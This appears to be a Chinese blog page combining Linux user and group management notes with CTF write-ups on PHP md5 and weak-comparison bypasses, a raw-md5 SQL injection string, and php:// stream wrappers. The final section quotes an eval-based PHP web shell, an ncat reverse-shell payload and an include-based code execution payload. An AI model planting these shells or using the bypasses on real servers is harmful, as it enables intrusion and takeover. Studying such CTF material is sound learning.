matsudaira 发布的文章

用户管理

/etc/passwd,/etc/shadow,/etc/group

id

显示用户id及所属群组的id

0:root

1-999:系统用户

1000+普通用户

useradd

useradd name
-g为添加的用户指定相应的用户组
-d path 为新添加的用户指定home目录
-u 指定用户id

当创建用户user时出现Creating mailbox file: File exists,直接删除/var/spool/mail/ 和/home/user

usermod

修改用户账号

-d path更改登录的目录,/sbin/nologin会让这个用户不能登录
-u id 修改用户的uid

userdel

删除用户账号
-r删除登入目录

passwd

更改使用者的密码

组管理

用户和组对应的关系在/etc/group

组的配置文件 /etc/login.defs

groupadd

--g 指定组id
--r 创建系统工作组,组id小于500
--k 覆盖配置文件/etc/login.defs

avatar

groupmod

-n 改名
-g 允许使用重复gid
-n 将组id改为gid

avatar

groupdel

删除组

gpassword

管理组成员

-a 添加用户到组
-d 删除用户
[root@localhost ~]# useradd xiaoming
[root@localhost ~]# id xiaoming
uid=8849(xiaoming) gid=8849(xiaoming) groups=8849(xiaoming)
[root@localhost ~]# groupadd -g 114514 xiabeize
[root@localhost ~]# tail -n 1 /etc/group
xiabeize:x:114514:
[root@localhost ~]# gpasswd -a xiaoming xiabeize
Adding user xiaoming to group xiabeize
[root@localhost ~]# tail -n 1 /etc/group
xiabeize:x:114514:xiaoming
[root@localhost ~]# id xiaoming
uid=8849(xiaoming) gid=8849(xiaoming) groups=8849(xiaoming),114514(xiabeize)

练习

[root@localhost ~]# useradd -u 8888 lisi
[root@localhost ~]# groupadd -g 9999 test
[root@localhost ~]# gpasswd -a lisi test
Adding user lisi to group test
[root@localhost ~]# tail -n 1 /etc/group
test:x:9999:lisi
[root@localhost ~]# groupdel test
[root@localhost ~]# tail -n 1 /etc/group
lisi:x:8888:
[root@localhost ~]# id lisi
uid=8888(lisi) gid=8888(lisi) groups=8888(lisi)
[root@localhost ~]# userdel -r lisi
[root@localhost ~]# id lisi
id: lisi: no such user

[BJDCTF2020]Easy MD5

这题打开啥都没发现,随便提交点东西,在head里面看到select * from 'admin' where password=md5($pass,true)

md5(string,raw)

1.string 必需。规定要计算的字符串。

2.raw 可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

没接触过这东西,想不通这里要怎么绕过,果断看wp

https://imagin.vip/?p=166#Easy_md5

他这里是传入一个字符串,这个字符串被md5处理成十六进制格式后跟password进行比较,因为mysql会把hex格式当成ascii格式,那我们要构造一个被处理后字符串里面含有' or '1的字符串,这里的答案是ffifdyop,他被md5加密过之后变成276f722736c95d99e921722cf9ed621c,而这个被当成16进制进行解码的话会变成'or'6�]��!r,��b,这里6xxxxx,其布尔值为1,换成别的以数字开头的字符串都行

进去之后查看源代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){

这个就比较经典了,字符串不同,加密后的md5弱类型比较相同,网上一找找一堆,我 这用了byGcY,sonZ7y,或者用数组绕过也行,进去看到

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

变成全等于那就只能用数组解决了,数组的md5哈希为NULL,param1[]=1¶m2[]=2,嗯,这回post又没反应了,用老办法加点料之后成功上传参数拿到flag

[极客大挑战 2019]BuyFlag

在pay那页的源代码里面看到了这段玩意

<!--
    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}
-->

看来我们需要传两个变量,一个是password值为404,money应该就是100000000,这里要求password既等于404又不为数字,利用php弱等于的性质就能解决,另外他要求用户是CUIT,我一开始傻乎乎的直接把user参数改成了这个,后来才发现只要改成1就行。当我想把password和money参数传进去的时候问题出现了,不管我怎么试,对面好像只接收到了本来就存在的user参数,对我后来传进去的几个参数置之不理.....找了一下解决方法,我的办法是吧数据包的GET改成POST,在repeter里面可以对数据包进行各种修改,另外我又加了一行Content-Type: application/x-www-form-urlencoded,再次传参的时候就成功了,这时提醒我Nember lenth is too long,看来对方在money这个参数上面进行了长度的限制,这里有两种办法,一种是科学计数法1e9,另外一种是利用strcmp函数特性把money后面加一个[]进行绕过,两种方法皆可

strcmp当对象是一个数组或者object的时候,因为无法比较,会直接返回0(相等),即可绕过

avatar

嗯,这题对我的难点在于怎么让对方理我的POST参数...

[ACTF2020 新生赛]BackupFile这题,虽然不是什么难题,但是有个有意思的知识点,在获取到他的源代码之后,我们可以看到

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

可以看到这里传入一个参数key,先进行一个是否为数字或数字字符串类型的判断,如果过了,取这个数的整数值,再与str进行判断,这里要用到一个php弱类型的知识点

PHP里面有两种比较符号,==和===,===在进行比较的时候,要求类型和值都相等才为真,也就是全等于,而==在进行比较的时候,如果两者类型不同,则会先把两个字符串转化为同一类型,然后再进行比较,如1xsafa会被转化为1,xsafa会被转化为0,0e54548777等等类似以0e开头的字符串都会被识别为科学计数法的数字,所以无论多少都一样

同理也可以用来绕过is_number

这题最后在被比较的时候key已经被处理成数字了,而==又会使str被转化为123,所以只要传入key=123就行

做文件包含题的时候多次用到了php://filter/convert.base64-encode/resource,稍微深入的去了解一下

php://的作用是访问各个输入/输出流,他可以支持几种不同的协议

https://www.php.net/manual/zh/wrappers.php.php

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用

参数如下
avatar

这玩意一般会给(坏蛋)拿来读取文件的源代码,上面提到的php://filter/convert.base64-encode/resource,和php://filter/read=convert.base64-encode/recource相同,意思是用base64编码的方式来读取文

https://blog.csdn.net/destiny1507/article/details/82347371

这篇博客讲到了另外几种利用方式,一种是利用上面编码解码,将马用base64加密,然后用这玩意解码出来,我们的可以被解析,而安全机制另外添加在上面的数据被解码后也就会失效

将都讲了顺带讲点别的

php://input可以访问请求原始数据的只读流,也就是说,这玩意可以读取没有处理过的post数据,https://blog.csdn.net/weixin_30326515/article/details/96024055,这篇文章讲了如何利用这玩意来getshell

<?php @eval(file_get_contents('php://input'))?>

然后提交post:system('ncat -e /bin/bash localhost 1234');

之后再用nc反弹shell


第二种
<?php @include($_GET["file"])?>

提交post:<?php system('ifconfig');?>,这样就变成代码执行漏洞

但是我估计这篇文章是复制粘贴来的,图片都挂了.....

另外其他几种PHP支持的协议和封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流